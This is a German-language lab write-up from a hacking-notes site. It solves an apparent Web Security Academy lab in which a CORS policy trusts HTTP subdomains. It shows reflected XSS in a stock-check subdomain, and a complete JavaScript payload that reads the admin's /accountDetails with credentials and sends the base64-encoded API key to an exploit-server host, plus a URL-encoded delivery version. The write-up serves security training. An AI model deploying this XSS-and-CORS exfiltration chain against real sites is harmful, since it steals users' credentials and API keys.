> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS mit vertrauten unsicheren Protokollen

### CORS-Schwachstelle mit vertrauenswürdigen unsicheren Protokollen

Die Site hat eine verwundbare CORS-Konfiguration: Sie vertraut allen **Subdomains**, auch wenn **HTTP**. Das Ziel ist, den API-Schlüssel des Administrators über CORS abzurufen und an den Ausführungsserver zu exfiltrieren.

Bereitgestellte Zugangsdaten: `wiener:peter`.Die Site hat eine verwundbare CORS-Konfiguration: Sie vertraut allen **Subdomains**, auch wenn **HTTP**. Das Ziel ist, den API-Schlüssel des Administrators über CORS abzurufen und an den Ausführungsserver zu exfiltrieren.

Bereitgestellte Zugangsdaten: `wiener:peter`.

#### Beobachtungen

* Die Root-Domain wird in **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/570193d9974c98449e9c859b46386a42c842a85c" alt=""><figcaption></figcaption></figure>

**Subdomains** in HTTP werden ebenfalls akzeptiert:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/31c9bd5be372d29891b98609b04bc3b500256c43" alt=""><figcaption></figcaption></figure>

Über stockcheck identifizierte Subdomain:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/e9ff3d34659dc5c3de02b765bc9ef15139ca20fb" alt=""><figcaption></figcaption></figure>

Dieser Eintrag spiegelt `productId` → \*\* HTML/JS\*\*-Injektion möglich:

```html
?productId=test&storeId=1
```

<figure><img src="/files/3a6905837b99560d6cf8cd6c30291d4e83f4f5a6" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/14cc31af7b963075876f091cc7b763a26e84baef" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aa87559ad6e4b84f240a5367cf4129c88f0b7bdb" alt=""><figcaption></figcaption></figure>

#### Ausnutzung: Lesen `/accountDetails` und Exfiltration

Verwendetes XHR-Skript (über Subdomain gesendet):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Skript in den `productId` Parameter der verwundbaren Subdomain ein:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Zur URL umleiten, um es mit dem `apiKey` Variable zu nutzen, die die kodierte Antwort enthält.

<figure><img src="/files/86adef45c3711454e91e930b82646bd6445eb770" alt=""><figcaption></figcaption></figure>

#### An das Opfer gesendete Nutzlast (URL-kodierte Version)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* API-Schlüssel auf dem Server empfangen, um ihn über den `apiKey` Parameter auszunutzen.

<figure><img src="/files/a3e3eed077fb5f1121e5aade0e313a082846ae1d" alt=""><figcaption></figcaption></figure>

* Dekodierung durchgeführt mit:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/560001783a86ce56546c164b72ce6c654161f7e4" alt=""><figcaption></figcaption></figure>


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